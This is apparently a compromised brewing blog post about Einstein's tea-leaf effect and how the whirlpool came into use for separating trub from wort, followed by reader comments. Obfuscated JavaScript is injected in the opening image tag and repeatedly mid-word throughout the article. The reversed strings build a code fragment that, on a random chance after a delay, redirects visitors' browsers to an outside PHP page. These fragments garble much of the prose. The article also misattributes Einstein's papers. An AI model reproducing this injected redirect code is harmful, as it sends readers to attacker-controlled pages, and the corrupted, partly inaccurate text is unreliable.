The Wonderful Whirpool

$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toffice_full.jpg”>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toffice_full” src=”http://www.cara-online.com/blog/wp-content/uploads/2010/09/Einstein_patentobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toffice_full-690×1024.jpg” alt=”” width=”153″ height=”215″ />Albert Einstein published his first four papers in 1905, papers that would change the world as we know it. The first – concerned the ‘Photobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to-electric effect’. The third, for which he was later awarded the Nobel Prize for Physics, concerned his ‘special theory of relativity’. The fourth concerned the equivalence of matter and energy. While all three of these papers had a profound effect on both science and society as we know them tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}today, having laid the foundations of quantum mechanics and relativity theory, it is Einstein’s second paper – published in the same issue of Annalen der Physik – which had the most profound influence on how we make beer.

This paper – entitled “Über die von der molekularkinetischen Theorie der Wärme geforderte Bewegung von in ruhenden Flüssigkeiten suspendierten Teilchen” (“On the Motion of Small Particles Suspended in a Stationary Liquid, as Required by the Molecular Kinetic Theory of Heat”) – concerned a problem that had puzzled Einstein for some time. Why was it that tea leaves, when stirred in a cup of tea, moved tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the centre of the liquid over time, rather than move tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the outside. In this paper he derived a mathematical solution tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the problem, explaining the forces at work in this phenomenon.

Fifty five years later in 1960 and the fruits of Einstein’s labours were first applied by brewers in Canada as the basis for the efficient clarification of hot wort and its separation from trub. H Ranulph Hudstobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton working in Molson’s Montreal Brewery in Canada was the first tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make use of this phenomenon tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to separate clear hopped wort from trub at the commercial scale. In doing so he allowed the brewery tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to eliminate the use of their hop backs, which had been the dominant technology for close tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to 200 years.

In a paper published in the MBAA Technical Quarterly in 1969 Hudtson recounted that

“prior tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the introduction of the whirlpool concept, hot wort receivers in the brewery were vertical, cylindrical, flat-bottobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomed vessels, with a diameter roughly equal tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the working depth of 16 feet. They were equipped with an umbrella-shaped device suspended near the tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}top of the vessel. The wort was pumped from the tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}top of this device tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to cause a cascade for hot aeration. After a settling period of 30 tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to 40 minutes the wort was run tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the coolers, being drawn from just below the surface by means of a float pipe.”

Hudstobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton’s change tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the vessel was quite simple, he move the wort line from the tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}top of the tank tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the side of the tank tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to allow the wort tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to enter the vessel tangentially.

When the first brew was put through the tank, it was noticed that after emptying, the nature of the dregs of wort and trub was slightly altered. Instead of being fluffy and particulate, some compacting and agglomeration had taken place.

After a little more experimentation relating tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the positioning of the tangential inlet and the flow rate of the wort, Hudtson soon had a voluminous, compact trub pile in the centre of his whirpool after a short stand. His finding changed the brewing landscape – tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}today, almost all large scale commercial breweries use whirlpools for hot wort separation. Numerous patents have been filed by equipment manufacturers relating tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to subtle design modifications of he whirlpool, but the basic forces at work remain those so elegantly described by Einstein more than 100 years ago.

Getting a whirpool tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to work just right is still something of a black art, involving a combination of raw materials quality, brewhouse procedures, and equipment performance.

We have Einstein tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to thank for many things: trub-free fermentations and lower extract losses are just two of them.

4 thoughts on “The Wonderful Whirpool

  1. Simple and elegant solution to separate trub. You can still see everywhere many “myths” involving whirlpool engineering and operations, like wort inlet being positioned to generate “clockwise” or “counter-clockwise” wort flow depending on the hemisphere you are in.

  2. Dr. Simpson, the article where A. Einstein actually explained the tea-cup effect was “Einstein, A., Die Ursache der Mäanderbildung der Flußläufe und des sogenannten Baerschen Gesetzes, Die Naturwissenschaften, 1926, 11, S. 223–224 (The Causes of the Formation of Meanders in the Courses of Rivers and of the so-called Baer’s Law), regarding fluvial geomorphology.

    There he wrote ” …I begin with a little experiment which anybody can
    easily repeat. Imagine a flat-bottomed cup full of tea.
    At the bottom there are some tea leaves, which stay
    there because they are rather heavier than the liquid
    they have replaced. If the liquid is made to rotate by a
    spoon, the leaves will soon collect in the center of the
    bottom of the cup. The explanation of this phenomenon
    is as follows: the rotation of the liquid causes a
    centrifugal force to act on it. This in itself would give
    rise to no change in the flow of the liquid if the latter
    rotated like a solid body. But in the neighborhood of
    the walls of the cup the liquid is restrained by friction,
    so that the angular velocity with which it rotates is less
    there than in other places nearer the center. In particular,
    the angular velocity of rotation, and therefore
    the centrifugal force, will be smaller near the bottom
    than higher up. The result of this will be a circular
    movement [helical flow] of the liquid of the type
    illustrated in [the figure] which goes on increasing
    until, under the influence of ground friction, it becomes
    stationary. The tea leaves are swept into the
    center by the circular movement and act as proof of its
    existence …”

    Regards.

    1. Thanks for this Martin. Einstein’s description is so wonderfully clear. Wouldn’t it have been a really enjoyable ‘Eureka’ moment to have been able to read those words when you were just about to build a new brewhouse more than a Century ago? Such opportunities for inter-industry technology transfers are all around us, but they can be so hard to see.

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